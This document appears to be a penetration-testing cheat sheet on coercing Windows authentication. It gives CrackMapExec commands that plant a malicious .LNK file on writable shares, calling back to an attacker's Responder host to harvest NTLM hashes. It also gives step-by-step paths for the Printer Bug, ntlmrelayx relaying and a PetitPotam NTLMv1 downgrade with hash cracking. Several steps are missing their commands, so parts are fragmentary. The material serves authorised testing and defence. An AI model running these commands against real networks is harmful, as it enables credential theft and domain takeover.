Coercing Authentication
Harvest NTLMv2/v1 Hashes with Write Access to Shares
The following example demonstrates performing this attack with CrackMapExec, however, it can also be performed by crafting a custom .LNK file.
1. Enumerate the hosts shares
crackmapexec smb $ip -u $username -p $password --shares2. Create a malicious .LNK file calling back to your Responder.py IP
crackmapexec smb $ip -u $username -p $password -M slinky -o NAME=$share SERVER=[ResponderIP]3. After waiting and (hopefully) obtaining several NTLM hashes, cleanup the malicious file
crackmapexec smb $ip -u $username -p $password -M slinky -o NAME=$share SERVER=$responder_ip CLEANUP=TrueNotes
Put an underscore as the first character in the file name (e.g.,
NAME=_bonus.xlsxand it will put the file at the top of the directory, making it more likely to render and send a hash to the malicious server.
The Printer Bug
If a machine that we have compromised is configured with unconstrained delegation we are able to capture any of the TGTs from machines/accounts that have authenticated to it. If we're able to obtain a TGT from a machine account, we can craft service tickets and obtain administrative access to it - this also works for domain controllers.
It should be noted that in order to successfully exploit the printer bug, we must have already obtained a session as or valid domain user credentials.
Enumerate Print Spooler Service
Enumerate Print Spooler service with ItWasAllADream:
# Enumerate Print Spooler with ItWasALlADream
docker run -it itwasalladream -u $username -p $password -d $domain $target -v
# Enumerate with CrackMapExec
crackmapexec smb $ip -u $username -p $password -M spooler
# Enumerate Print Spooler with Impacket
python rpcdump.py @$target | egrep 'MS-RPRN|MS-PAR'
# SpoolerScan.ps1
.\SpoolerScan.ps1Exploiting the Printer Bug with SpoolSample.exe
1. We first need to monitor for any new TGTs on the system that has unconstrained delegation configured. Rubeus provides us with the handy functionality to accomplish this:
2. We can then execute SpoolSample.exe on the host to coerce authentication:
3. After running SpoolSample.exe we should then aobserve a TGT on the attacker controlled system.
Remotely Exploiting the Printer Bug
Alternatively, we can accomplish this same exploitation path remotely using Impacket's ntlmrelayx to relay the credentials:
PetitPotam
While PetitPotam itself has been rendered a little redundant due to tools like Coercer accomplishing the same, yet more. It is still important to discuss as it's still all that's needed to compromise a significant amount of Active Directory environments. One of the most simple yet effective attack paths with PetitPotam would look like the following:
1. The tester first identifies all of the domain controllers in the domain, this can be done either through DNS or by identifying common ports associated with DC's such as 88/tcp.
2. Modify the configuration of your Responder installation so that the challenge paramter is set to the following value and run Responder in Analyze mode with the --lm flag to attempt to downgrade the authentication:
3. The tester can then attempt to force authentication from the domain controllers to the attacker controlled server using PetitPotam:
4. The output received should look like the following:
5. With the NTLMv1 hash now retrieved, the tester can utilize the ntlmv1-multi tool to obtain the appropriate format for cracking:
6. This hash can then be cracked via Hashcat with the instructions displayed on screen or alternatively can be submitted to crack.sh.
Trigger NTLM Authentication over HTTP
Coercer
Coercer is a Python script which automagically attempt to coerce an arbitrary machine to an attacker controlled device in several ways.
References
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